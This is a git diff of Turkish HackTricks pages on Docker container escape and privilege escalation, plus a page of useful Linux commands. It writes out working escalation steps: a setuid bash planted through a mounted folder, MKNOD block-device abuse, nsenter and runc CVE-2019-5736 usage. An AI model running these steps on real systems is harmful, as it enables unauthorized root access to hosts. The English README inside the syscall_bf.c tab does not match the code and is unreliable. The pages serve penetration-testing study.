Eğer **bir konteyner içinde root erişiminiz** varsa ve ana makineden bir klasör bağlanmışsa ve **ana makinede ayrıcalıklı olmayan bir kullanıcı olarak kaçtıysanız** ve bağlanmış klasör üzerinde okuma erişiminiz varsa.\ Eğer **bir konteyner içinde root erişiminiz** varsa ve ana makineden bazı klasörler bağlanmışsa ve **ana makinede ayrıcalıklı olmayan bir kullanıcı olarak kaçmayı başardıysanız** ve bağlanmış klasöre okuma erişiminiz varsa.\
**Konteyner** içinde **bağlanmış klasörde** bir **bash suid dosyası** oluşturabilir ve **ana makineden** bu dosyayı çalıştırarak ayrıcalık yükseltebilirsiniz. **Konteyner** içinde **bağlanmış klasörde** bir **bash suid dosyası** oluşturabilir ve bu dosyayı **ana makineden çalıştırarak** ayrıcalık yükseltebilirsiniz.
```bash ```bash
cp /bin/bash . #From non priv inside mounted folder cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container # You need to copy it from the host as the bash binaries might be diferent in the host and in the container
@ -370,13 +370,13 @@ chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder bash -p #From non priv inside mounted folder
``` ```
### 2 kabuk ile Ayrıcalık Yükseltme ### 2 kabuk ile Yetki Yükseltme
Eğer bir konteyner içinde **root erişiminiz** var ve **özelliği olmayan bir kullanıcı olarak ana makineye kaçtıysanız**, konteyner içinde MKNOD yeteneğine sahipseniz (varsayılan olarak vardır) her iki kabuğu da kötüye kullanarak ana makinede **aşağı doğru ayrıcalık yükseltebilirsiniz**. Bu yetenekle, konteyner içindeki root kullanıcısına **blok cihaz dosyaları oluşturma izni** verilir. Cihaz dosyaları, **altta yatan donanıma ve çekirdek modüllere erişmek** için kullanılan özel dosyalardır. Örneğin, /dev/sda blok cihaz dosyası, **sistemin diskindeki ham verilere erişim sağlar**. Eğer bir konteyner içinde **root erişiminiz varsa** ve **özne olmayan bir kullanıcı olarak ana makineye kaçmayı başardıysanız**, konteyner içinde MKNOD yeteneğine sahipseniz (varsayılan olarak vardır) her iki kabuğu da kötüye kullanarak **ana makinede yetki yükseltebilirsiniz**. Bu yetenekle, konteyner içindeki root kullanıcısına **blok cihaz dosyaları oluşturma izni** verilir. Cihaz dosyaları, **altta yatan donanıma ve çekirdek modüllerine erişmek** için kullanılan özel dosyalardır. Örneğin, /dev/sda blok cihaz dosyası, **sistemin diskindeki ham verileri okuma** izni verir.
Docker, konteynerler içinde blok cihazlarının kötüye kullanımına karşı koruma sağlamak için **blok cihazı okuma/yazma işlemlerini engelleyen** bir cgroup politikası uygular. Bununla birlikte, bir blok cihazı **konteyner içinde oluşturulursa**, dışarıdan **/proc/PID/root/** dizini aracılığıyla erişilebilir hale gelir. Bu erişim, içeride ve dışarıda aynı olan **işlem sahibine** gereksinim duyar. Docker, konteynerler içinde blok cihazlarının kötüye kullanımına karşı koruma sağlar, blok cihazı **okuma/yazma işlemlerini engelleyen bir cgroup politikası uygular**. Bununla birlikte, bir blok cihazı **konteyner içinde oluşturulursa**, dışarıdan **/proc/PID/root/** dizini aracılığıyla erişilebilir hale gelir. Bu erişim, iç ve dış konteynerde **işlem sahibinin aynı olmasını** gerektirir.
Bu [**yazıda**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames) verilen **sömürü** örneği: Bu [**yazıda**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/) verilen **sömürü** örneği:
```bash ```bash
# On the container as root # On the container as root
cd / cd /
@ -439,35 +439,35 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with: # You can open the secret filw with:
cat /proc/635813/fd/4 cat /proc/635813/fd/4
``` ```
Ayrıca **işlemleri sonlandırabilir ve Bir Hizmet Reddine (DoS) neden olabilirsiniz**. Ayrıca **işlemleri sonlandırabilir ve bir Hizmet Reddine (DoS) neden olabilirsiniz**.
{% hint style="warning" %} {% hint style="warning" %}
Eğer bir şekilde **konteyner dışındaki bir işlem üzerinde ayrıcalıklı erişiminiz varsa**, `nsenter --target <pid> --all` veya `nsenter --target <pid> --mount --net --pid --cgroup` gibi bir şey çalıştırabilirsiniz **aynı ns kısıtlamalarına sahip bir kabuk çalıştırmak için** (umarım hiçbiri). Eğer **konteyner dışındaki bir işlem üzerinde ayrıcalıklı erişiminiz varsa**, `nsenter --target <pid> --all` veya `nsenter --target <pid> --mount --net --pid --cgroup` gibi bir şey çalıştırabilir ve **umarım olmayan** aynı ns kısıtlamalarına sahip bir kabuk çalıştırabilirsiniz.
{% endhint %} {% endhint %}
### hostNetwork ### hostNetwork
``` ```
docker run --rm -it --network=host ubuntu bash docker run --rm -it --network=host ubuntu bash
``` ```
Eğer bir konteyner Docker [ana ağ sürücüsüyle yapılandırılmışsa (`--network=host`)](https://docs.docker.com/network/host/), o konteynerin ağ yığını Docker ana bilgisayarından izole edilmez (konteyner ana bilgisayarın ağ ad alanını paylaşır) ve konteynere ayrı bir IP adresi atanmaz. Başka bir deyişle, **konteyner tüm hizmetleri doğrudan ana bilgisayarın IP'sine bağlar**. Ayrıca konteyner, paylaşılan arayüz üzerinden gönderilen ve alınan **TÜM ağ trafiğini yakalayabilir `tcpdump -i eth0`**. Eğer bir konteyner Docker [ana ağ sürücüsüyle yapılandırılmışsa (`--network=host`)](https://docs.docker.com/network/host/), o konteynerin ağ yığını Docker ana bilgisayarından izole edilmez (konteyner ana bilgisayarın ağ ad alanını paylaşır) ve konteynere ayrı bir IP adresi atanmaz. Başka bir deyişle, **konteyner tüm hizmetleri doğrudan ana bilgisayarın IP'sine bağlar**. Ayrıca konteyner, paylaşılan arayüz üzerinde ana bilgisayarın gönderdiği ve aldığı **TÜM ağ trafiğini yakalayabilir** `tcpdump -i eth0`.
Örneğin, bunu kullanarak ana bilgisayar ve meta veri örneği arasındaki trafiği **dinleyebilir ve hatta sahtecilik yapabilirsiniz**. Örneğin, bunu kullanarak ana bilgisayar ve meta veri örneği arasındaki trafiği **dinleyebilir ve hatta sahtekarlık yapabilirsiniz**.
Aşağıdaki örneklerde olduğu gibi: Aşağıdaki örneklerde olduğu gibi:
* [ıklama: Google SRE ile nasıl iletişime geçilir: Bir kabuk bırakma bulut SQL'de](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) * [ıklama: Google SRE ile nasıl iletişime geçilir: Bulut SQL'de bir kabuk bırakma](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
* [Meta veri servisi MITM, kök ayrıcalık yükseltmesine izin verir (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/) * [Meta veri servisi MITM, kök ayrıcalık yükseltmesine izin verir (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
Ayrıca, ana bilgisayar içinde **localhost'a bağlı ağ hizmetlerine erişebilecek** veya hatta **düğümün meta veri izinlerine** erişebileceksiniz (bu, bir konteynerin erişebileceğinden farklı olabilir). Ayrıca ana bilgisayar içinde **localhost'a bağlı ağ hizmetlerine erişebilecek** veya hatta **düğümün meta veri izinlerine** erişebileceksiniz (bu, bir konteynerin erişebileceğinden farklı olabilir).
### hostIPC ### hostIPC
```bash ```bash
docker run --rm -it --ipc=host ubuntu bash docker run --rm -it --ipc=host ubuntu bash
``` ```
`hostIPC=true` ile, ana bilgisayarın ara işlem iletişimi (IPC) kaynaklarına, örneğin `/dev/shm` içindeki **paylaşılan bellek** gibi, erişim elde edersiniz. Bu, aynı IPC kaynaklarının diğer ana bilgisayar veya kapsül süreçleri tarafından kullanıldığı yerlerde okuma/yazma yapmanıza olanak tanır. Bu IPC mekanizmalarını daha ayrıntılı incelemek için `ipcs` kullanın. `hostIPC=true` ile, ana bilgisayarın ara işlem iletişimi (IPC) kaynaklarına, örneğin `/dev/shm` içindeki **paylaşılan bellek** gibi, erişim elde edersiniz. Bu, aynı IPC kaynaklarının diğer ana bilgisayar veya kapsül süreçleri tarafından kullanıldığı yerlerde okuma/yazma yapmanıza olanak tanır. Bu IPC mekanizmalarını daha ayrıntılı incelemek için `ipcs` komutunu kullanın.
* **/dev/shm'yi İnceleyin** - Bu paylaşılan bellek konumunda herhangi bir dosyayı arayın: `ls -la /dev/shm` * **/dev/shm'yi İnceleyin** - Bu paylaşılan bellek konumunda herhangi bir dosyayı arayın: `ls -la /dev/shm`
* **Mevcut IPC tesislerini İnceleyin** - Kullanılan herhangi bir IPC tesisinin olup olmadığını `/usr/bin/ipcs` ile kontrol edebilirsiniz. Bunu şu şekilde kontrol edin: `ipcs -a` * **Mevcut IPC tesislerini İnceleyin** - `/usr/bin/ipcs` ile herhangi bir IPC tesisinin kullanılıp kullanılmadığını kontrol edebilirsiniz. Şunu kontrol edin: `ipcs -a`
### Yetenekleri Kurtarın ### Yetenekleri Kurtarın
@ -479,12 +479,12 @@ cat /proc/self/status | grep CapEff
``` ```
### Kullanıcı ad alanı kötüye kullanımı simge bağlantısı aracılığıyla ### Kullanıcı ad alanı kötüye kullanımı simge bağlantısı aracılığıyla
[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) adresinde açıklanan ikinci teknik, kullanıcı ad alanlarıyla bağlantılı bağ montajlarını kötüye kullanarak ana makinedeki dosyaları etkilemek için nasıl kullanılabileceğinizi göstermektedir (belirli bir durumda dosyaları silmek). [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) adresinde açıklanan ikinci teknik, kullanıcı ad alanlarıyla bağlantılı bağ montajlarını kötüye kullanarak ana makinedeki dosyaları etkilemenize (belirli bir durumda dosyaları silmenize) olanak tanır.
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını otomatikleştirin** ve **kolayca oluşturun**.\
Bugün Erişim Alın: Hemen Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -492,10 +492,10 @@ Bugün Erişim Alın:
### Runc açığı (CVE-2019-5736) ### Runc açığı (CVE-2019-5736)
Eğer `docker exec`'i kök olarak çalıştırabiliyorsanız (muhtemelen sudo ile), CVE-2019-5736'ı kötüye kullanarak ayrıcalıkları yükseltmeyi deneyebilirsiniz (saldırı [burada](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Bu teknik temelde **ana makinedeki** _**/bin/sh**_ ikilisini **bir konteynerden üzerine yazacak**, böylece docker exec çalıştıran herkes saldırıyı tetikleyebilir. Eğer kök olarak `docker exec` komutunu çalıştırabiliyorsanız (muhtemelen sudo ile), CVE-2019-5736'ı kötüye kullanarak ayrıcalıkları yükseltmeyi deneyebilirsiniz (saldırı [burada](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Bu teknik temelde **ana makinedeki** _**/bin/sh**_ ikilisini **bir konteynerden üzerine yazacak**, böylece docker exec komutunu çalıştıran herkes saldırıyı tetikleyebilir.
Payload'ı değiştirin ve `go build main.go` ile main.go'yu derleyin. Oluşan ikili dosya docker konteynerine yürütme için yerleştirilmelidir.\ Payload'ı değiştirin ve `go build main.go` ile main.go dosyasını derleyin. Oluşan ikili dosya, yürütme için docker konteynerine yerleştirilmelidir.\
Yürütme sırasında, `[+] Overwritten /bin/sh successfully` anında aşağıdakini ana makineden çalıştırmanız gerekmektedir: Yürütme sırasında, `[+] Overwritten /bin/sh successfully` mesajını görüntülediğinde, aşağıdakini ana makineden çalıştırmanız gerekmektedir:
`docker exec -it <container-adı> /bin/sh` `docker exec -it <container-adı> /bin/sh`
@ -504,17 +504,17 @@ Bu, main.go dosyasında bulunan saldırıyı tetikleyecektir.
Daha fazla bilgi için: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) Daha fazla bilgi için: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
{% hint style="info" %} {% hint style="info" %}
Konteynerin savunmasız olabileceği diğer CVE'ler bulunmaktadır, bir liste [burada](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) bulunabilir. Konteynerin savunmasız olabileceği diğer CVE'ler bulunmaktadır, bir liste [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) adresinde bulunabilir.
{% endhint %} {% endhint %}
## Docker Özel Kaçış ## Docker Özel Kaçış
### Docker Kaçış Yüzeyi ### Docker Kaçış Yüzeyi
* **Ad alanları:** İşlem, ad alanları aracılığıyla diğer işlemlerden **tamamen ayrılmalıdır**, bu nedenle ad alanları nedeniyle diğer işlemlerle etkileşimden kaçınamayız (varsayılan olarak IPC'ler, unix soketleri, ağ hizmetleri, D-Bus, diğer işlemlerin `/proc`'u ile iletişim kurulamaz). * **Ad alanları:** İşlem, ad alanları aracılığıyla diğer işlemlerden **tamamen ayrılmış olmalıdır**, bu nedenle ad alanları nedeniyle diğer işlemlerle etkileşimden kaçınamayız (varsayılan olarak IPC'ler, unix soketleri, ağ hizmetleri, D-Bus, diğer işlemlerin `/proc`'si aracılığıyla iletişim kurulamaz).
* **Kök kullanıcı**: Varsayılan olarak işlemi çalıştıran kullanıcı kök kullanıcıdır (ancak ayrıcalıkları sınırlıdır). * **Kök kullanıcı**: Varsayılan olarak işlemi çalıştıran kullanıcı kök kullanıcıdır (ancak ayrıcalıkları sınırlıdır).
* **Yetenekler:** Docker, aşağıdaki yetenekleri bırakır: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` * **Yetenekler**: Docker, aşağıdaki yetenekleri bırakır: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
* **Syscall'ler:** Bunlar, **kök kullanıcının** çağırabileceği syscall'lerdir (yetenek eksikliği + Seccomp nedeniyle çağrılamayanlar). Kaçmaya çalışmak için diğer syscall'ler kullanılabilir. * **Syscall'ler**: Bunlar, **kök kullanıcının** çağırabileceği syscall'lerdir (yetenek eksikliği + Seccomp nedeniyle çağrılamayanlar). Kaçmaya çalışmak için diğer syscall'ler kullanılabilir.
{% tabs %} {% tabs %}
{% tab title="x64 syscall'ler" %} {% tab title="x64 syscall'ler" %}
@ -563,14 +563,14 @@ Konteynerin savunmasız olabileceği diğer CVE'ler bulunmaktadır, bir liste [b
{% tab title="syscall_bf.c" %}Docker Breakout Privilege Escalation {% tab title="syscall_bf.c" %}Docker Breakout Privilege Escalation
=============================== ===============================
This directory contains a Docker breakout privilege escalation exploit. The exploit leverages a bug in the Linux kernel to escalate privileges from a Docker container to the host. This directory contains a Docker breakout exploit that leverages a bug in the Linux kernel to escalate privileges within a Docker container.
### Usage ### Usage
Compile the exploit using `gcc`: Compile the exploit code using the provided Makefile:
```bash ```bash
gcc -o syscall_bf syscall_bf.c make
``` ```
Run the exploit: Run the exploit:
@ -581,7 +581,7 @@ Run the exploit:
### Disclaimer ### Disclaimer
This exploit is for educational purposes only. Misuse of this exploit on systems without authorization is illegal. This exploit is for educational purposes only. Misuse of this exploit on unauthorized systems is illegal.
````c ````c
// From a conversation I had with @arget131 // From a conversation I had with @arget131
// Fir bfing syscalss in x64 // Fir bfing syscalss in x64
@ -645,7 +645,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket) * [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4) * [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today: Get Access Today:

View file

@ -1,10 +1,10 @@
# Faydalı Linux Komutları # Kullanışlı Linux Komutları
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Edinin: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -12,13 +12,13 @@ Bugün Erişim Edinin:
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin.
</details> </details>
@ -141,10 +141,10 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip # List files inside zip
7z l file.zip 7z l file.zip
``` ```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını otomatikleştirin**.\
Bugün Erişim Edinin: Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -171,20 +171,35 @@ i686-mingw32msvc-gcc -o executable useradd.c
``` ```
## Greps ## Greps
### Açıklama ### Grep
`grep` komutu, metin dosyalarında belirli bir metni aramak için kullanılır. `grep` komutu, metin dosyalarında belirli bir metni aramak için kullanılır.
### Kullanım Örnek Kullanım:
```bash ```bash
grep "aranacak_metin" dosya_adı grep "kelime" dosya.txt
``` ```
### Örnek ### Grep with line number
`-n` bayrağı, eşleşen satırların numaralarını gösterir.
Örnek Kullanım:
```bash ```bash
grep "root" /etc/passwd grep -n "kelime" dosya.txt
``` ```
Bu komut, `/etc/passwd` dosyasında "root" kelimesini arar ve eşleşen satırları görüntüler. ### Grep with case insensitive
`-i` bayrağı, büyük/küçük harf duyarlılığını devre dışı bırakır.
Örnek Kullanım:
```bash
grep -i "kelime" dosya.txt
```
```bash ```bash
#Extract emails from file #Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
@ -268,26 +283,26 @@ egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13
### `find` ### `find`
`find` komutu, dosya sisteminizde dosya ve dizinleri aramanıza ve belirli kriterlere göre filtrelemenize olanak tanır. `find` komutu, dosya sisteminizde belirli kriterlere göre dosyaları aramanıza ve bulmanıza olanak tanır.
#### Kullanım #### Kullanımı
```bash ```bash
find /path/to/search -name "filename" find /path/to/search -name "filename"
``` ```
- `/path/to/search`: Arama yapılacak dizinin yolu - `/path/to/search`: Aramak istediğiniz dizinin yolu
- `-name "filename"`: Aranacak dosya adı - `-name "filename"`: Aramak istediğiniz dosyanın adı
#### Örnekler #### Örnekler
1. `/etc` dizininde `passwd` dosyasını bulma: - `/etc` dizininde `passwd` dosyasını bulma:
```bash ```bash
find /etc -name "passwd" find /etc -name "passwd"
``` ```
2. `/home` dizininde `.txt` uzantılı dosyaları bulma: - `/home` dizininde `.txt` uzantılı dosyaları bulma:
```bash ```bash
find /home -name "*.txt" find /home -name "*.txt"
@ -371,22 +386,22 @@ iptables -P OUTPUT ACCEPT
``` ```
<details> <details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme konusunda bilgi edinin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**]'i (https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **otomatikleştirilmiş iş akışları** oluşturmanın keyfini çıkarın.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -7,17 +7,17 @@
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
